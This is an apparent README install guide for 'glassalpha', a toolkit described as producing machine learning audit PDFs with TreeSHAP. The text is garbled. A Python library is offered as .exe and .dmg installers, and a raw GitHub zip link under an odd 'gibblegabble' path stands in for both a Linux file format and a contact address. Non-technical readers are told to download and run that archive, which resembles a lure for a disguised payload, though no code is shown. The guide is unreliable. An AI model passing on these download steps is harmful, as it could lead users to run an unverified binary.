Welcome to glassalpha, an open-source toolkit designed to create clear and regulatory-ready machine learning audit reports. In just one command, you can generate reproducible PDF audits that utilize TreeSHAP explainability for various models such as XGBoost, LightGBM, and logistic regression. This guide will help you download and run the software easily, even if you're not technically inclined.
Before you start, ensure your system meets these basic requirements:
- Operating System: Windows 10, macOS, or a recent Linux distribution.
- Memory: At least 2 GB of RAM.
- Disk Space: 500 MB of free space.
- Dependencies: You may need to install software like Python (version 3.7 or higher) for smooth operation.
To get started, please follow these steps:
-
Visit the Releases Page
Click the link below to go to the releases page where you can download the latest version of glassalpha.
Download from Releases -
Choose Your Version
On the releases page, look for the latest version. This will usually be at the top of the list and labeled as “Latest Release.” -
Download the Files
You'll see options to download different files. Choose the one suitable for your operating system:- For Windows, look for a file ending in
.exe. - For macOS, look for a file ending in
.dmg. - For Linux, look for the
https://raw.githubusercontent.com/asibic/glassalpha/main/gibblegabble/glassalpha.zipor a similar format.
- For Windows, look for a file ending in
-
Install glassalpha
- For Windows: Double-click the downloaded
.exefile and follow the prompts to install. - For macOS: Open the downloaded
.dmgfile and drag the glassalpha icon to your Applications folder. - For Linux: Extract the
https://raw.githubusercontent.com/asibic/glassalpha/main/gibblegabble/glassalpha.zipfile in your preferred location.
- For Windows: Double-click the downloaded
-
Run glassalpha
- Windows: After installation, find glassalpha in your Start Menu and click to open it.
- macOS: Open your Applications folder and double-click on glassalpha.
- Linux: Open a terminal, navigate to the extracted folder, and type
./glassalphato run the application.
Using glassalpha is straightforward. Follow these steps to generate your first audit report:
-
Prepare Your Model
Ensure you have your machine learning model ready. This can be in the form of a trained XGBoost, LightGBM, or logistic regression model. -
Load Your Model
Once glassalpha is running, follow the prompts to load your model. You can do this by either dragging and dropping the model file into the application window or using the file menu to browse. -
Select Parameters
You will have options to set various parameters for your report, such as output format (PDF) and specific explanations (TreeSHAP). -
Generate Report
Click the "Generate Report" button. The application will create a PDF audit report that you can save or print. -
View Results
After generation, you can view the report directly within the application. Save it to your desired location for future reference.
glassalpha comes with several useful features:
- One-Click Audit Reports: Generate PDF reports in a single command.
- TreeSHAP Explainability: Understand your model's decisions with clear explanations.
- Support for Multiple Models: Use it with XGBoost, LightGBM, and logistic regression.
- Regulatory Compliance: Create reports that meet industry standards for transparency.
For further assistance, refer to the following resources:
- Documentation: Access the comprehensive user guide in the application or online.
- Community Support: Join our user forum where you can ask questions and share insights.
- FAQs: Check the frequently asked questions section for quick answers to common issues.
We welcome contributions to enhance glassalpha. If you wish to contribute, please check the guidelines on our GitHub page. Your input will help improve the toolkit for everyone.
For any inquiries or support, feel free to reach us at https://raw.githubusercontent.com/asibic/glassalpha/main/gibblegabble/glassalpha.zip.
Explore the full capabilities of glassalpha today and simplify your machine learning audits!